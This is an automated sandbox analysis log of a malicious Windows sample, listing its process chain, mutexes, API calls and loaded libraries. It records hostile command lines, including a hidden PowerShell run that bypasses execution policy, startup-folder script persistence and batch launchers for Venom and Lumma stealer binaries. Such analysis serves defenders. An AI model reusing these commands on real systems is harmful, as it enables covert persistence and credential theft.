Source: 37.2.vm.exe.4e40000.1.raw.unpack, Methods.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 37.2.vm.exe.4e40000.1.raw.unpack, Methods.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: classification engine Classification label: mal100.spre.troj.spyw.expl.evad.winEXE@53/68@18/17
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Code function: 5_2_00BA119F GetCurrentProcess,OpenProcessToken,AdjustTokenPrivileges,CloseHandle,CloseHandle, 5_2_00BA119F
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Code function: 17_2_00EE119F GetCurrentProcess,OpenProcessToken,AdjustTokenPrivileges,CloseHandle,CloseHandle, 17_2_00EE119F
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B93F5B0 LookupPrivilegeValueA,AdjustTokenPrivileges,OpenProcessToken, 24_2_00007FF70B93F5B0
Source: C:\Users\user\Desktop\7Y18r(14).exe Code function: 4_2_006E0D11 CreateToolhelp32Snapshot,Module32First, 4_2_006E0D11
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02ED9C80 CoCreateInstance, 31_2_02ED9C80
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\k1[1].rar Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Mutant created: \Sessions\1\BaseNamedObjects\8yUscnjrUY
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3656:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3076:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5860:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6536:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3852:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7864
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Mutant created: \Sessions\1\BaseNamedObjects\aqswvfsywrpgi
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7516
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5776
Source: C:\Users\user\Desktop\7Y18r(14).exe File created: C:\Users\user\AppData\Local\Temp\IXDaI.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B552.exe File opened: C:\Windows\system32\04f50d5bfbb517b12eaa2523a3e51b5ee0f9a4a9a5400f8ac09b57829b5bcf80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\7760095b.bat" "
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyStartupScript.vbs"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM WIN32_Processor
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\explorer.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\7Y18r(14).exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: lm.exe, 00000026.00000003.2666645630.0000000003162000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000026.00000003.2668070369.0000000003149000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000026.00000003.2638557734.000000000315C000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000026.00000003.2645191230.000000000313D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: 7Y18r(14).exe ReversingLabs: Detection: 94%
Source: B552.exe String found in binary or memory: &github.com/filecoin-project/go-address
Source: B552.exe String found in binary or memory: seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2runtime: failed mSpanL
Source: B552.exe String found in binary or memory: seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2runtime: failed mSpanL
Source: B552.exe String found in binary or memory: eap) is larger than maximum page size (key size not a multiple of key alignruntime: invalid typeBitsBulkBarrieruncaching span but s.allocCount == 0/memory/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listrunti
Source: B552.exe String found in binary or memory: eap) is larger than maximum page size (key size not a multiple of key alignruntime: invalid typeBitsBulkBarrieruncaching span but s.allocCount == 0/memory/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listrunti
Source: unknown Process created: C:\Users\user\Desktop\7Y18r(14).exe "C:\Users\user\Desktop\7Y18r(14).exe"
Source: C:\Users\user\Desktop\7Y18r(14).exe Process created: C:\Users\user\AppData\Local\Temp\IXDaI.exe C:\Users\user\AppData\Local\Temp\IXDaI.exe
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7516 -s 1536
Source: unknown Process created: C:\Users\user\AppData\Roaming\ftejced C:\Users\user\AppData\Roaming\ftejced
Source: C:\Users\user\AppData\Roaming\ftejced Process created: C:\Users\user\AppData\Local\Temp\IXDaI.exe C:\Users\user\AppData\Local\Temp\IXDaI.exe
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\7760095b.bat" "
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\F6D9.exe C:\Users\user\AppData\Local\Temp\F6D9.exe
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\B552.exe C:\Users\user\AppData\Local\Temp\B552.exe
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\753F.exe C:\Users\user\AppData\Local\Temp\753F.exe
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process created: C:\Users\user\AppData\Local\Temp\753F.exe "C:\Users\user\AppData\Local\Temp\753F.exe" -HOSTRUNAS
Source: C:\Users\user\AppData\Local\Temp\B552.exe Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\user\AppData\Local\Temp\rentry-script.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\ExtractedVenom\runvm.bat
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\ExtractedLumma\run.bat
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe "vm.exe"
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe "lm.exe"
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyStartupScript.vbs"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\ExtractedVenom\runvm.bat" "
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe "vm.exe"
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5776 -s 1124
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7864 -s 628
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\F6D9.exe "C:\Users\user\AppData\Local\Temp\F6D9.exe"
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\7Y18r(14).exe Process created: C:\Users\user\AppData\Local\Temp\IXDaI.exe C:\Users\user\AppData\Local\Temp\IXDaI.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\F6D9.exe C:\Users\user\AppData\Local\Temp\F6D9.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\B552.exe C:\Users\user\AppData\Local\Temp\B552.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\753F.exe C:\Users\user\AppData\Local\Temp\753F.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyStartupScript.vbs" Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\F6D9.exe "C:\Users\user\AppData\Local\Temp\F6D9.exe" Jump to behavior
Source: C:\Windows\explorer.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Roaming\ftejced Process created: C:\Users\user\AppData\Local\Temp\IXDaI.exe C:\Users\user\AppData\Local\Temp\IXDaI.exe
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\7760095b.bat" "
Source: C:\Users\user\AppData\Local\Temp\B552.exe Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process created: C:\Users\user\AppData\Local\Temp\753F.exe "C:\Users\user\AppData\Local\Temp\753F.exe" -HOSTRUNAS
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\user\AppData\Local\Temp\rentry-script.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\ExtractedVenom\runvm.bat
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\ExtractedLumma\run.bat
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe "vm.exe"
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe "lm.exe"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\ExtractedVenom\runvm.bat" "
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe "vm.exe"
Source: C:\Users\user\Desktop\7Y18r(14).exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\7Y18r(14).exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\7Y18r(14).exe Section loaded: msimg32.dll Jump to behavior
Source: C:\Users\user\Desktop\7Y18r(14).exe Section loaded: msvcr100.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: ntvdm64.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: wpnapps.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: cdprt.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: wpnapps.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: execmodelproxy.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: capabilityaccessmanagerclient.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: smartscreenps.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: windows.internal.shell.userer.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: smartscreenps.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ftejced Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\ftejced Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\ftejced Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Roaming\ftejced Section loaded: msvcr100.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: ntvdm64.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: ntvdm64.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: ntvdm64.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: ntvdm64.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: ntvdm64.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: cmdext.dll
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\B552.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\B552.exe Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Local\Temp\B552.exe Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: msisip.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: wshext.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: appxsip.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: opcservices.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: rasman.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: sxs.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: mshtml.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: srpapi.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: msiso.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: uiautomationcore.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: onecoreuapcommonproxystub.dll
